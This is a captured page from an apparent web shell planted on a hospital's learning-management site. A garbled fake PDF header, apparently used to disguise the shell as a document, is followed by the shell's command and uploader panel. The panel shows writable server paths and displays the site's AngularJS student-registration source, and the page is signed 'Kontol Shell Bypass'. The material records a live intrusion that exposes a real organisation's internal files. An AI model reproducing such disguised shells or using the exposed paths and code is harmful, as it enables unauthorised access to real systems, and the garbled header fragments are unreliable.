%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/lms/lms/student-panel/app-js/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/student-panel/app-js/registration.js
/** Registration Controller **/
MetronicApp.controller("Registration", function ($scope, $rootScope, $http, $state, $timeout, $stateParams, Auth) {
	var CR = this;
	CR.appDtl = {};

	CR.getPrograms = function (ac_id) {
		CR.appDtl.program_id = '';
		CR.plans = [];
		CR.appDtl.plan_id = '';

		CR.programs = [];
		$.each(CR.courses, function (k, v) {
			if (v.ac_id == ac_id) {
				CR.programs.push({ id: v.id, title: v.title });
			}
		});
	}

	CR.getPlans = function (program_id) {
		CR.appDtl.plan_id = '';

		CR.plans = [];
		$.each(CR.allPlans, function (k, v) {
			if (v.program_id == program_id) {
				CR.plans.push({ id: v.id, title: v.title });
			}
		});
	}

	CR.getCities = function (state_id, fromDtl) {
		if (!fromDtl) {
			CR.dtl.city_id = '';
			CR.dtl.city = '';
			CR.dtl.pincode = '';
		}

		CR.cities = [];
		$.each(CR.allCities, function (k, v) {
			if (v.state_id == state_id) {
				CR.cities.push({ id: v.id, title: v.title, pincode: v.pincode });
			}
		});
	}

	CR.cityChangeEvent = function (city_id) {
		if (city_id != '-1') {
			CR.dtl.city = '';
		}
		//CR.dtl.pincode=$("#citydd option:selected").attr('pincode');
	}

	CR.updateApplicationDtl = function () {
		var frm = $("#basicForm");
		hide_form_errors(frm);
		var formData = new FormData(frm[0]);
		show_loader();
		$http({ url: API_URL + 'user/updateApplicationDtl', method: 'POST', data: formData, headers: { 'Content-Type': undefined } }).success(
			function (res) {
				if (res.success == 'T') {
					CR.appDtl = res.appDtl;
					CR.acDtl = res.acDtl;
					if (typeof res.dtl != "undefined") {
						CR.dtl = res.dtl;
					}
					show_alert_msg(res.msg);

					//$("li[rel='tab2']").click();
					$("li[rel='tab3']").click();
					reinitAccordian();
				} else {
					show_alert_msg(res.msg, 'E');
					//show_form_errors(res.errors, frm);
				}
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.changeMarkingScheme = function (marking_scheme, degree_type) {
		var allowed_vals = CR.markingSchemeVal(marking_scheme);
		if (degree_type == '10th') {
			CR.eduDtl.marks_10th = '';
			CR.eduDtl.marks_10th_vals = allowed_vals;
		} else if (degree_type == '12th') {
			CR.eduDtl.marks_12th = '';
			CR.eduDtl.marks_12th_vals = allowed_vals;
		} else if (degree_type == 'dip') {
			CR.eduDtl.marks_dip = '';
			CR.eduDtl.marks_dip_vals = allowed_vals;
		} else if (degree_type == 'ug') {
			CR.eduDtl.marks_ug = '';
			CR.eduDtl.marks_ug_vals = allowed_vals;
		} else if (degree_type == 'pg') {
			CR.eduDtl.marks_pg = '';
			CR.eduDtl.marks_pg_vals = allowed_vals;
		}
	}

	CR.markingSchemeVal = function (id) {
		var res = [];
		if (id) {
			CR.markingSchemes.map(function (val, i) {
				if (val.id == id) {
					res = val.allowed_values;
				}
			});
		}
		return res;
	}

	CR.updatePersonalNdEduDtl = function () {
		var frm = $("#step2Form");
		hide_form_errors(frm);
		show_loader();
		$http({ url: API_URL + 'user/updatePersonalNdEduDtl', method: 'POST', data: frm.serialize() }).success(
			function (res) {
				if (res.success == 'T') {
					show_alert_msg(res.msg);
					if ($rootScope.stateName == 'pre-payment-success') {
						redirect("pre-application/" + $stateParams.id);
						return;
					}

					CR.appDtl = res.appDtl;
					if (CR.appDtl.fee * 1 > 0) {
						$("li[rel='tab3']").click();
					} else {
						$rootScope.goto("reg-complete");
					}
				} else {
					show_alert_msg(res.msg, 'E');
					//show_form_errors(res.errors, frm);
				}
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.selectedCoupan = { id: '', amt: 0 };
	CR.applyCoupan = function (ob) {
		if (ob === 'PER12TH85') {
			if (CR.per_12th_85 == '0') {
				CR.per_12th = '';
			}
			//CR.selectedCoupan=CR.per_12th_85=='1'?{id:ob, amt:Math.round(CR.appDtl.fee/2)}:{id:'', amt:0};
			CR.selectedCoupan = CR.per_12th_85 == '1' ? { id: ob, amt: CR.appDtl.fee / 2 } : { id: '', amt: 0 };
			CR.appDtl.netAmt = CR.appDtl.fee - CR.selectedCoupan.amt;
		} else {
			$.each(CR.appDtl.coupans, function (k, v) {
				v.applied = false;
			});
			ob.applied = true;
			CR.selectedCoupan = angular.copy(ob);
			CR.appDtl.netAmt = CR.appDtl.fee - CR.selectedCoupan.amt;
		}

		reinitAccordian();
	}

	CR.updateGender = function (id, gender) {
		show_loader();
		$http({ url: API_URL + 'user/updateGender', method: 'POST', data: { app_id: id, gender } }).success(
			function (res) {
				if (res.success == 'T') {
					CR.appDtl = res.appDtl;
					CR.check_applied_offer();
				} else {
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.check_applied_offer = function () {
		var g = CR.dtl.gender;
		if (CR.selectedCoupan.id) {
			if (CR.selectedCoupan.gender) {
				if (CR.selectedCoupan.gender != g) {
					CR.selectedCoupan = { id: '', amt: 0 };
					CR.appDtl.netAmt = CR.appDtl.fee - CR.selectedCoupan.amt;

					$.each(CR.appDtl.coupans, function (k, v) {
						v.applied = false;
					});
				}
			}
		}

		$timeout(function () {
			if ($(".offerlist").length) {
				$(".offerh").show();
			} else {
				$(".offerh").hide();
			}
		});
	}

	CR.proceedPayment = function () {
		show_loader();
		$http({ url: API_URL + 'user/proceedPayment', method: 'POST', data: { app_id: CR.appDtl.id, coupan_id: CR.selectedCoupan.id, per_12th: CR.per_12th || '', stateName: $rootScope.stateName } }).success(
			function (res) {
				if (res.success == 'T') {
					redirect(res.payTMUrl);
				} else {
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.cancelPreReg = function (app_id) {
		//$state.go('dashboard');
		redirect("application/" + app_id + "/App");
	}

	CR.payTransDtl = function () {
		show_loader();
		$http({ url: API_URL + 'user/payTransDtl/' + $stateParams.id }).success(
			function (res) {
				CR.transSuccess = res.success;
				CR.transDtl = res.dtl;
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.campusChange = () => {
		CR.appDtl.discipline_id = '';
		CR.appDtl.plan_id = '';
	}

	CR.disstart = true;
	CR.chkInstructions = () => {
		if ($("#inschk").prop("checked")) {
			CR.disstart = false;
		} else {
			CR.disstart = true;
		}
	}
	CR.showForm = () => {
		$(".instructions").hide();
		$(".frmdivbx").removeClass("hide");
	}

	CR.pushEmailToDataLayer = (email) => {
		window.dataLayer = window.dataLayer || [];
		window.dataLayer.push({
			'event': 'form_complete',
			'enhanced_conversion_data': {
				"email": email
			}
		});
	}

	/** Init */
	CR.init = function () {
		set_datepicker();

		show_loader();
		$http({ url: API_URL + 'user/initApplication' }).success(
			function (res) {
				if (res.success == 'F') {
					show_alert_msg(res.msg, 'E');
					$state.go('dashboard');
					return;
				}

				if ($rootScope.stateName == 'pre-payment-success') {
					CR.payTransDtl();
				}

				CR.dtl = res.dtl;
				CR.eduDtl = (res.eduDtl) ? res.eduDtl : {};
				CR.appDtl = res.appDtl;
				CR.acDtl = res.acDtl;

				CR.applicantCats = res.applicantCats;
				CR.religions = res.religions;
				CR.markingSchemes = res.markingSchemes;
				CR.states = res.states;
				CR.academicCareers = res.academicCareers;
				CR.programs = res.programs;
				CR.plans = res.plans;
				CR.pyears = res.pyears;

				CR.disciplines = res.disciplines;
				CR.courses = res.courses;
				CR.allPlans = res.allPlans;
				CR.allCities = res.allCities;

				CR.campuses = res.campuses;

				if (CR.dtl.city_id != '-1') {
					CR.dtl.city = '';
				}
				CR.getCities(CR.dtl.state_id, true);


				if (CR.appDtl.step_completed == 3) {
					$("#step2Form").find('input,select,textarea').prop('disabled', true);
				}

				CR.eduDtl.marks_10th_vals = CR.markingSchemeVal(CR.eduDtl.marking_scheme_id_10th);
				CR.eduDtl.marks_12th_vals = CR.markingSchemeVal(CR.eduDtl.marking_scheme_id_12th);
				CR.eduDtl.marks_dip_vals = CR.markingSchemeVal(CR.eduDtl.marking_scheme_id_dip);
				CR.eduDtl.marks_ug_vals = CR.markingSchemeVal(CR.eduDtl.marking_scheme_id_ug);
				CR.eduDtl.marks_pg_vals = CR.markingSchemeVal(CR.eduDtl.marking_scheme_id_pg);

				$timeout(function () {
					set_numeric_input();
					reinitAccordian();
					//initClassieForm();

					var b10id = angular.isObject(res.eduDtl) ? res.eduDtl.board_id_10th : '';
					var b12id = angular.isObject(res.eduDtl) ? res.eduDtl.board_id_12th : '';
					var bdipid = angular.isObject(res.eduDtl) ? res.eduDtl.board_id_dip : '';
					var uugid = angular.isObject(res.eduDtl) ? res.eduDtl.university_id_ug : '';
					var upgid = angular.isObject(res.eduDtl) ? res.eduDtl.university_id_pg : '';

					setBoardsDD(res.boards, b10id, b12id, bdipid);
					setUniDD(res.universities, uugid, upgid);

					if (res.aomcode) {
						$("body").append(res.aomcode);
					}

					if ($(".offerlist").length) {
						$(".offerh").show();
					} else {
						$(".offerh").hide();
					}
				});

				CR.pushEmailToDataLayer(CR.dtl.email);
			}
		).error(function (res) { showHttpErr(res); });
	}
	CR.init();
});

/** Non Angular */

function setBoardsDD(data, b10, b12, bdip) {
	var e = '<option value="">Select Board</option>';
	$.each(data, function (k, v) {
		e += '<option value="' + v.id + '">' + v.title + '</option>';
	});
	e += '<option value="-1">Other</option>';
	$("[name='board_id_10th'],[name='board_id_12th'],[name='board_id_dip']").html(e);
	$("[name='board_id_10th']").val(b10);
	$("[name='board_id_12th']").val(b12);
	$("[name='board_id_dip']").val(bdip);
}

function setUniDD(data, uug, upg) {
	var e = '<option value="">Select University</option>';
	$.each(data, function (k, v) {
		e += '<option value="' + v.id + '">' + v.title + '</option>';
	});
	e += '<option value="-1">Other</option>';
	$("[name='university_id_ug'],[name='university_id_pg']").html(e);
	$("[name='university_id_ug']").val(uug);
	$("[name='university_id_pg']").val(upg);
}

//EOF

Kontol Shell Bypass